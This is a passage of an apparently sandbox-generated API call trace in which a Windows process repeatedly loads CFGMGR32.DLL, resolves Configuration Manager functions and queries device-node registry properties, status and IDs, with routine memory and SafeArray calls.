[0204.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.251] malloc (_Size=0x18) returned 0x20abc281d60 [0204.251] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0204.258] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3584128e, dwHighDateTime=0x1d9eb0c)) [0204.258] SetEvent (hEvent=0x248) returned 1 [0204.259] SetEvent (hEvent=0x248) returned 1 [0204.260] free (_Block=0x20abc27cb20) [0204.260] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0204.260] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3584128e, dwHighDateTime=0x1d9eb0c)) [0204.261] SetEvent (hEvent=0x248) returned 1 [0204.261] SetEvent (hEvent=0x248) returned 1 [0204.262] free (_Block=0x20abc27cb20) [0204.262] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0204.263] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3584128e, dwHighDateTime=0x1d9eb0c)) [0204.263] SetEvent (hEvent=0x248) returned 1 [0204.264] SetEvent (hEvent=0x248) returned 1 [0204.265] free (_Block=0x20abc27cb20) [0204.265] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0204.266] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3584128e, dwHighDateTime=0x1d9eb0c)) [0204.266] SetEvent (hEvent=0x248) returned 1 [0204.270] SetEvent (hEvent=0x248) returned 1 [0204.270] free (_Block=0x20abc27cb20) [0204.270] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0204.521] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35aa1649, dwHighDateTime=0x1d9eb0c)) [0204.522] SetEvent (hEvent=0x248) returned 1 [0204.526] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.526] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0204.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.529] malloc (_Size=0x18) returned 0x20abc281aa0 [0204.530] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x5, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0204.530] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x35ac9058, dwHighDateTime=0x1d9eb0c)) [0204.530] SetEvent (hEvent=0x248) returned 1 [0204.538] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.538] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0204.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.543] malloc (_Size=0x18) returned 0x20abc281be0 [0204.543] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x5, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0204.544] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x35aedbc3, dwHighDateTime=0x1d9eb0c)) [0204.544] SetEvent (hEvent=0x248) returned 1 [0204.547] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.547] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0204.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.551] malloc (_Size=0x18) returned 0x20abc281f00 [0204.551] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0204.551] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35aedbc3, dwHighDateTime=0x1d9eb0c)) [0204.552] SetEvent (hEvent=0x248) returned 1 [0204.558] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.558] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0204.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.563] malloc (_Size=0x18) returned 0x20abc281960 [0204.563] CM_Get_Device_IDA (in: dnDevInst=0x3, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A08\\0") returned 0x0 [0204.563] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x35b13fa7, dwHighDateTime=0x1d9eb0c)) [0204.564] SetEvent (hEvent=0x248) returned 1 [0204.742] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.742] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0204.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.744] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.745] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.745] malloc (_Size=0x18) returned 0x20abc281d20 [0204.745] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0204.746] malloc (_Size=0x5a) returned 0x20abc2801b0 [0204.746] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8) returned 0x0 [0204.747] free (_Block=0x20abc2801b0) [0204.747] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x35cdda99, dwHighDateTime=0x1d9eb0c)) [0204.747] SetEvent (hEvent=0x248) returned 1 [0204.750] malloc (_Size=0x18) returned 0x20abc281ae0 [0204.750] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0204.750] free (_Block=0x20abc281ae0) [0204.750] malloc (_Size=0x18) returned 0x20abc281c80 [0204.750] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0204.750] free (_Block=0x20abc281c80) [0204.750] malloc (_Size=0x18) returned 0x20abc281ea0 [0204.750] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0204.750] free (_Block=0x20abc281ea0) [0204.750] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c470 [0204.750] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0204.750] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0204.750] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0204.750] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0204.750] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0204.750] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0204.750] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0204.751] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0204.751] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0204.751] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0204.751] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0204.752] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0204.752] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c470) returned 1 [0204.753] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.753] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0204.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.754] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.756] malloc (_Size=0x18) returned 0x20abc281c60 [0204.757] 